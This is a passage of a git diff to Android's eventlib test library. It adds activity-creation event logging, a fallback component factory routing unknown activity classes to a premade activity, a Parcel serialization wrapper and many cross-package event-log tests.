+ e = (E) resultMessage.getSerializable(EVENT_KEY);
+ }
+ return e;
+ } catch (RemoteException e) {
+ throw new AssertionError("Error making cross-process call", e);
+ }
+ }
+
+ @Override
+ public E poll(Instant earliestLogTime, Duration timeout) {
+ ensureInitialised();
+ Instant endTime = Instant.now().plus(timeout);
+ Bundle data = createRequestBundle();
+ Duration remainingTimeout = Duration.between(Instant.now(), endTime);
+ data.putSerializable(TIMEOUT_KEY, remainingTimeout);
+ try {
+ Bundle resultMessage = mQuery.get().poll(id, data);
+ E e = (E) resultMessage.getSerializable(EVENT_KEY);
+ while (e != null && !mEventLogsQuery.filterAll(e)) {
+ remainingTimeout = Duration.between(Instant.now(), endTime);
+ data.putSerializable(TIMEOUT_KEY, remainingTimeout);
+ resultMessage = mQuery.get().poll(id, data);
+ e = (E) resultMessage.getSerializable(EVENT_KEY);
+ }
+ return e;
+ } catch (RemoteException e) {
+ throw new AssertionError("Error making cross-process call", e);
+ }
+ }
+
+ private Bundle createRequestBundle() {
+ Bundle data = new Bundle();
+ data.putSerializable(EARLIEST_LOG_TIME_KEY, EventLogs.sEarliestLogTime);
+ return data;
+ }
+
+ private AtomicReference<IQueryService> mQuery = new AtomicReference<>();
+ private CountDownLatch mConnectionCountdown;
+
+ private void ensureInitialised() {
+ if (mQuery.get() != null) {
+ return;
+ }
+
+ blockingConnectOrFail();
+ Bundle data = new Bundle();
+ data.putSerializable(QUERIER_KEY, mEventLogsQuery);
+
+ try {
+ mQuery.get().init(id, data);
+ } catch (RemoteException e) {
+ throw new AssertionError("Error making cross-process call", e);
+ }
+ }
+
+ private void blockingConnectOrFail() {
+ mConnectionCountdown = new CountDownLatch(1);
+ Intent intent = new Intent();
+ intent.setPackage(mPackageName);
+ intent.setClassName(mPackageName, "com.android.eventlib.QueryService");
+
+ boolean didBind;
+ if (mEventLogsQuery.getUserHandle() != null) {
+ didBind = CONTEXT.bindServiceAsUser(
+ intent, connection, /* flags= */ BIND_AUTO_CREATE,
+ mEventLogsQuery.getUserHandle());
+ } else {
+ didBind = CONTEXT.bindService(intent, connection, /* flags= */ BIND_AUTO_CREATE);
+ }
+
+ if (didBind) {
+ try {
+ mConnectionCountdown.await(CONNECTION_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+ } catch (InterruptedException e) {
+ throw new AssertionError("Interrupted while binding to service", e);
+ }
+ }
+
+ if (mQuery.get() == null) {
+ throw new AssertionError("Tried to bind but failed");
+ }
+ }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
index 98db40c..90d3622 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
@@ -39,8 +39,8 @@
public static final class CustomEventQuery
extends EventLogsQuery<CustomEvent, CustomEventQuery> {
- private String mTag = null;
- private Serializable mData = null;
+ String mTag = null;
+ Serializable mData = null;
private CustomEventQuery(String packageName) {
super(CustomEvent.class, packageName);
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
new file mode 100644
index 0000000..0d18e5a
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link Activity#onCreate(Bundle)} or
+ * {@link Activity#onCreate(Bundle, PersistableBundle)} is called.
+ */
+public final class ActivityCreatedEvent extends Event {
+
+ /** Begin a query for {@link ActivityCreatedEvent} events. */
+ public static ActivityCreatedEventQuery queryPackage(String packageName) {
+ return new ActivityCreatedEventQuery(packageName);
+ }
+
+ public static final class ActivityCreatedEventQuery
+ extends EventLogsQuery<ActivityCreatedEvent, ActivityCreatedEventQuery> {
+ String mName;
+ String mSimpleName;
+ SerializableParcelWrapper<Bundle> mSavedInstanceState;
+ SerializableParcelWrapper<PersistableBundle> mPersistentState;
+
+ private ActivityCreatedEventQuery(String packageName) {
+ super(ActivityCreatedEvent.class, packageName);
+ }
+
+ public ActivityCreatedEventQuery withSavedInstanceState(Bundle savedInstanceState) {
+ mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+ return this;
+ }
+
+ public ActivityCreatedEventQuery withPersistentState(PersistableBundle persistentState) {
+ mPersistentState = new SerializableParcelWrapper<>(persistentState);
+ return this;
+ }
+
+ public ActivityCreatedEventQuery withActivityClass(Class<?> clazz) {
+ return withActivityName(clazz.getName());
+ }
+
+ public ActivityCreatedEventQuery withActivityName(String name) {
+ mName = name;
+ return this;
+ }
+
+ public ActivityCreatedEventQuery withActivitySimpleName(String simpleName) {
+ mSimpleName = simpleName;
+ return this;
+ }
+
+ @Override
+ protected boolean filter(ActivityCreatedEvent event) {
+ if (mSavedInstanceState != null
+ && !mSavedInstanceState.equals(event.mSavedInstanceState)) {
+ return false;
+ }
+ if (mPersistentState != null && !mPersistentState.equals(event.mPersistentState)) {
+ return false;
+ }
+ if (mName != null && !mName.equals(event.mName)) {
+ return false;
+ }
+ if (mSimpleName != null && !mSimpleName.equals(event.mSimpleName)) {
+ return false;
+ }
+ return true;
+ }
+ }
+
+ /** Begin logging a {@link ActivityCreatedEvent}. */
+ public static ActivityCreatedEventLogger logger(Activity activity, Bundle savedInstanceState) {
+ return new ActivityCreatedEventLogger(activity, savedInstanceState);
+ }
+
+ public static final class ActivityCreatedEventLogger extends EventLogger<ActivityCreatedEvent> {
+ private ActivityCreatedEventLogger(Activity activity, Bundle savedInstanceState) {
+ super(activity, new ActivityCreatedEvent());
+ mEvent.mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+ setName(activity.getClass().getName());
+ setSimpleName(activity.getClass().getSimpleName());
+ // TODO(scottjonathan): Add more information about the activity (e.g. parse the
+ // manifest)
+ }
+
+ public ActivityCreatedEventLogger setName(String name) {
+ mEvent.mName = name;
+ return this;
+ }
+
+ public ActivityCreatedEventLogger setSimpleName(String simpleName) {
+ mEvent.mSimpleName = simpleName;
+ return this;
+ }
+
+ public ActivityCreatedEventLogger setSavedInstanceState(Bundle savedInstanceState) {
+ mEvent.mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+ return this;
+ }
+
+ public ActivityCreatedEventLogger setPersistentState(PersistableBundle persistentState) {
+ mEvent.mPersistentState = new SerializableParcelWrapper<>(persistentState);
+ return this;
+ }
+ }
+
+ protected SerializableParcelWrapper<Bundle> mSavedInstanceState;
+ protected SerializableParcelWrapper<PersistableBundle> mPersistentState;
+ protected String mName;
+ protected String mSimpleName;
+
+ public Bundle savedInstanceState() {
+ if (mSavedInstanceState == null) {
+ return null;
+ }
+ return mSavedInstanceState.get();
+ }
+
+ public PersistableBundle persistentState() {
+ if (mPersistentState == null) {
+ return null;
+ }
+ return mPersistentState.get();
+ }
+
+ public String name() {
+ return mName;
+ }
+
+ public String simpleName() {
+ return mSimpleName;
+ }
+
+ @Override
+ public String toString() {
+ return "ActivityCreatedEvent{" +
+ " savedInstanceState=" + savedInstanceState() +
+ ", persistentState=" + persistentState() +
+ ", name=" + mName +
+ ", simpleName=" + mSimpleName +
+ ", mPackageName='" + mPackageName + '\'' +
+ ", mTimestamp=" + mTimestamp +
+ '}';
+ }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
new file mode 100644
index 0000000..3d3e0cf
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+
+/**
+ * An {@link Activity} which logs events for all lifecycle events.
+ */
+public class EventLibActivity extends Activity {
+
+ private String mOverrideActivityClassName;
+ private String mOverrideActivitySimpleName;
+
+ public void setOverrideActivityClassName(String overrideActivityClassName) {
+ mOverrideActivityClassName = overrideActivityClassName;
+ mOverrideActivitySimpleName = getSimpleName(overrideActivityClassName);
+ }
+
+ private static String getSimpleName(String name) {
+ final int dot = name.lastIndexOf(".");
+ if (dot > 0) {
+ return name.substring(name.lastIndexOf(".")+1); // strip the package name
+ }
+ return name;
+ }
+
+ /** Log a {@link ActivityCreatedEvent}. */
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ logOnCreate(savedInstanceState, /* persistentState= */ null);
+ }
+
+ /** Log a {@link ActivityCreatedEvent}. */
+ @Override
+ public void onCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
+ super.onCreate(savedInstanceState, persistentState);
+ logOnCreate(savedInstanceState, persistentState);
+ }
+
+ private void logOnCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
+ ActivityCreatedEvent.ActivityCreatedEventLogger logger =
+ ActivityCreatedEvent.logger(this, savedInstanceState)
+ .setPersistentState(persistentState);
+
+ if (mOverrideActivityClassName != null) {
+ logger.setName(mOverrideActivityClassName)
+ .setSimpleName(mOverrideActivitySimpleName);
+ }
+
+ logger.log();
+ }
+
+ @Override
+ protected void onStart() {
+ // TODO(scottjonathan): Add log
+ super.onStart();
+ }
+
+ @Override
+ protected void onRestart() {
+ // TODO(scottjonathan): Add log
+ super.onRestart();
+ }
+
+ @Override
+ protected void onResume() {
+ // TODO(scottjonathan): Add log
+ super.onResume();
+ }
+
+ @Override
+ protected void onPause() {
+ // TODO(scottjonathan): Add log
+ super.onPause();
+ }
+
+ @Override
+ protected void onStop() {
+ // TODO(scottjonathan): Add log
+ super.onStop();
+ }
+
+ @Override
+ protected void onDestroy() {
+ // TODO(scottjonathan): Add log
+ super.onDestroy();
+ }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java
new file mode 100644
index 0000000..a32cfd9
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.app.Activity;
+import android.app.AppComponentFactory;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * An {@link AppComponentFactory} which redirects invalid class names to premade EventLib classes.
+ */
+public class EventLibAppComponentFactory extends AppComponentFactory {
+
+ private static final String LOG_TAG = "EventLibACF";
+
+ @Override
+ public Activity instantiateActivity(ClassLoader cl, String className, Intent intent)
+ throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+
+ try {
+ return super.instantiateActivity(cl, className, intent);
+ } catch (ClassNotFoundException e) {
+ Log.d(LOG_TAG,
+ "Activity class (" + className + ") not found, routing to EventLibActivity");
+ EventLibActivity activity =
+ (EventLibActivity) super.instantiateActivity(
+ cl, EventLibActivity.class.getName(), intent);
+ activity.setOverrideActivityClassName(className);
+ return activity;
+ }
+ }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java
new file mode 100644
index 0000000..bb39bb5
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.util;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+
+/** A wrapper around a {@link Parcelable} which makes it {@link Serializable}. */
+public class SerializableParcelWrapper<E extends Parcelable> implements Serializable {
+
+ private static final long serialVersionUID = 0;
+
+ private E parcelable;
+
+ public SerializableParcelWrapper(E parcelable) {
+ this.parcelable = parcelable;
+ }
+
+ public E get() {
+ return parcelable;
+ }
+
+ @Override
+ public boolean equals(Object obj) {
+ if (!(obj instanceof SerializableParcelWrapper)) {
+ return false;
+ }
+ SerializableParcelWrapper<E> other = (SerializableParcelWrapper<E>) obj;
+
+ return parcelable.equals(other.parcelable);
+ }
+
+ @Override
+ public int hashCode() {
+ return parcelable.hashCode();
+ }
+
+ // Serializable readObject
+ private void readObject(ObjectInputStream inputStream) throws ClassNotFoundException,
+ IOException {
+ int size = inputStream.readInt();
+ byte[] bytes = new byte[size];
+ inputStream.read(bytes);
+ Parcel p = Parcel.obtain();
+ p.unmarshall(bytes, 0, size);
+ parcelable = p.readParcelable(Parcelable.class.getClassLoader());
+ p.recycle();
+ }
+
+ // Serializable writeObject
+ private void writeObject(ObjectOutputStream outputStream) throws IOException {
+ Parcel p = Parcel.obtain();
+ p.writeParcelable(parcelable, /* flags= */ 0);
+ byte[] bytes = p.marshall();
+ p.recycle();
+
+ outputStream.writeInt(bytes.length);
+ outputStream.write(bytes);
+ }
+}
diff --git a/common/device-side/eventlib/src/test/AndroidManifest.xml b/common/device-side/eventlib/src/test/AndroidManifest.xml
index 438816d..710df7b 100644
--- a/common/device-side/eventlib/src/test/AndroidManifest.xml
+++ b/common/device-side/eventlib/src/test/AndroidManifest.xml
@@ -18,9 +18,14 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.eventlib.test">
+ <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
<application
- android:label="Event Library Tests">
+ android:label="Event Library Tests" android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
<uses-library android:name="android.test.runner" />
+
+ <activity android:name="com.android.eventlib.premade.EventLibActivity" android:exported="true" />
+ <activity android:name="com.android.generatedEventLibActivity" android:exported="true" />
+
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.eventlib.test"
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
index afc9ecd..09ce58f 100644
--- a/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
@@ -16,14 +16,24 @@
package com.android.eventlib;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
import static com.google.common.truth.Truth.assertThat;
+import static org.testng.Assert.assertThrows;
+import static org.testng.Assert.fail;
+
+import android.app.ActivityManager;
import android.content.Context;
-import android.os.Handler;
-import android.os.Looper;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.UserHandle;
+import android.os.UserManager;
import androidx.test.platform.app.InstrumentationRegistry;
+import com.android.compatibility.common.util.SystemUtil;
import com.android.eventlib.events.CustomEvent;
import org.junit.After;
@@ -33,10 +43,18 @@
import org.junit.runners.JUnit4;
import java.time.Duration;
+import java.util.HashSet;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
@RunWith(JUnit4.class)
public class EventLogsTest {
- private static final Context CONTEXT = InstrumentationRegistry.getInstrumentation().getContext();
+ private static final Context CONTEXT =
+ InstrumentationRegistry.getInstrumentation().getContext();
+ private static final String TEST_APP_PACKAGE_NAME = "com.android.eventlib.tests.testapp";
+ private static final String INCORRECT_PACKAGE_NAME = "com.android.eventlib.tests.notapackage";
+ private static final UserHandle NON_EXISTING_USER_HANDLE = UserHandle.of(1000);
private static final String TEST_TAG1 = "TEST_TAG1";
private static final String TEST_TAG2 = "TEST_TAG2";
@@ -44,9 +62,11 @@
private static final String DATA_2 = "DATA_2";
private static final Duration VERY_SHORT_POLL_WAIT = Duration.ofMillis(20);
- private static final long ONE_SECOND_DELAY_MILLIS = Duration.ofSeconds(1).toMillis();
private boolean hasScheduledEvents = false;
+ private boolean hasScheduledEventsOnTestApp = false;
+ private final ScheduledExecutorService mScheduledExecutorService =
+ Executors.newSingleThreadScheduledExecutor();
@Before
public void setUp() {
@@ -59,6 +79,10 @@
// Clear the queue
CustomEvent.queryPackage(CONTEXT.getPackageName()).poll();
}
+ if (hasScheduledEventsOnTestApp) {
+ // Clear the queue
+ CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).poll();
+ }
}
@Test
@@ -74,6 +98,16 @@
}
@Test
+ public void resetLogs_differentPackage_get_doesNotReturnLogs() {
+ logCustomEventOnTestApp();
+
+ EventLogs.resetLogs();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+ assertThat(eventLogs.get()).isNull();
+ }
+
+ @Test
public void resetLogs_next_doesNotReturnLogs() {
CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG1)
@@ -86,6 +120,16 @@
}
@Test
+ public void resetLogs_differentPackage_next_doesNotReturnLogs() {
+ logCustomEventOnTestApp();
+
+ EventLogs.resetLogs();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
public void resetLogs_poll_doesNotReturnLogs() {
CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG1)
@@ -98,6 +142,16 @@
}
@Test
+ public void resetLogs_differentPackage_poll_doesNotReturnLogs() {
+ logCustomEventOnTestApp();
+
+ EventLogs.resetLogs();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+ assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+ }
+
+ @Test
public void get_nothingLogged_returnsNull() {
EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
.withTag(TEST_TAG1);
@@ -106,6 +160,14 @@
}
@Test
+ public void get_differentPackage_nothingLogged_returnsNull() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.get()).isNull();
+ }
+
+ @Test
public void next_nothingLogged_returnsNull() {
EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
.withTag(TEST_TAG1);
@@ -114,6 +176,14 @@
}
@Test
+ public void next_differentPackage_nothingLogged_returnsNull() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
public void poll_nothingLogged_returnsNull() {
EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
.withTag(TEST_TAG1);
@@ -122,6 +192,65 @@
}
@Test
+ public void poll_loggedAfter_returnsNull() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .withTag(TEST_TAG1);
+ scheduleCustomEventInOneSecond();
+
+ assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+ }
+
+ @Test
+ public void poll_differentPackage_nothingLogged_returnsNull() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+ }
+
+ @Test
+ public void poll_differentPackage_loggedAfter_returnsNull() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+ scheduleCustomEventInOneSecondOnTestApp();
+
+ assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+ }
+
+ @Test
+ public void get_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+ CustomEvent.logger(CONTEXT).setTag(TEST_TAG1).setData(DATA_2).log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.get().data()).isEqualTo(DATA_2);
+ }
+
+ @Test
+ public void next_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+ CustomEvent.logger(CONTEXT).setTag(TEST_TAG1).setData(DATA_2).log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+ }
+
+ @Test
+ public void poll_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+ CustomEvent.logger(CONTEXT).setTag(TEST_TAG1).setData(DATA_2).log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+ }
+
+ @Test
public void get_alreadyLogged_returnsEvent() {
CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG1)
@@ -134,6 +263,15 @@
}
@Test
+ public void get_differentPackage_alreadyLogged_returnsEvent() {
+ logCustomEventOnTestApp();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+ assertThat(eventLogs.get()).isNotNull();
+ }
+
+ @Test
public void next_alreadyLogged_returnsFirstEvent() {
CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG1)
@@ -151,6 +289,17 @@
}
@Test
+ public void next_differentPackage_alreadyLogged_returnsFirstEvent() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.next().data()).isEqualTo(DATA_1);
+ }
+
+ @Test
public void poll_alreadyLogged_returnsFirstEvent() {
CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG1)
@@ -168,6 +317,17 @@
}
@Test
+ public void poll_differentPackage_alreadyLogged_returnsFirstEvent() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.poll().data()).isEqualTo(DATA_1);
+ }
+
+ @Test
public void next_hasReturnedAllEvents_returnsNull() {
CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG1)
@@ -180,6 +340,16 @@
}
@Test
+ public void next_differentPackage_hasReturnedAllEvents_returnsNull() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+ eventLogs.next();
+
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
public void poll_hasReturnedAllEvents_returnsNull() {
CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG1)
@@ -192,7 +362,17 @@
}
@Test
- public void next_returnsNextUnseenEvent() {
+ public void poll_differentPackage_hasReturnedAllEvents_returnsNull() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+ eventLogs.poll();
+
+ assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+ }
+
+ @Test
+ public void next_previouslyCalledNext_returnsNextUnseenEvent() {
CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG1)
.setData(DATA_1)
@@ -209,6 +389,17 @@
}
@Test
+ public void next_differentPackage_previouslyCalledNext_returnsNextUnseenEvent() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+ eventLogs.next();
+
+ assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+ }
+
+ @Test
public void next_previouslyPolled_returnsNextUnseenEvent() {
CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG1)
@@ -226,6 +417,17 @@
}
@Test
+ public void next_differentPackage_previouslyPolled_returnsNextUnseenEvent() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+ eventLogs.poll();
+
+ assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+ }
+
+ @Test
public void poll_previouslyCalledNext_returnsNextUnseenEvent() {
CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG1)
@@ -243,6 +445,17 @@
}
@Test
+ public void poll_differentPackage_previouslyCalledNext_returnsNextUnseenEvent() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+ eventLogs.next();
+
+ assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+ }
+
+ @Test
public void poll_returnsNextUnseenEvent() {
CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG1)
@@ -260,6 +473,17 @@
}
@Test
+ public void poll_differentPackage_returnsNextUnseenEvent() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+ eventLogs.poll();
+
+ assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+ }
+
+ @Test
public void get_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG2)
@@ -275,6 +499,17 @@
}
@Test
+ public void get_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+ }
+
+ @Test
public void next_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
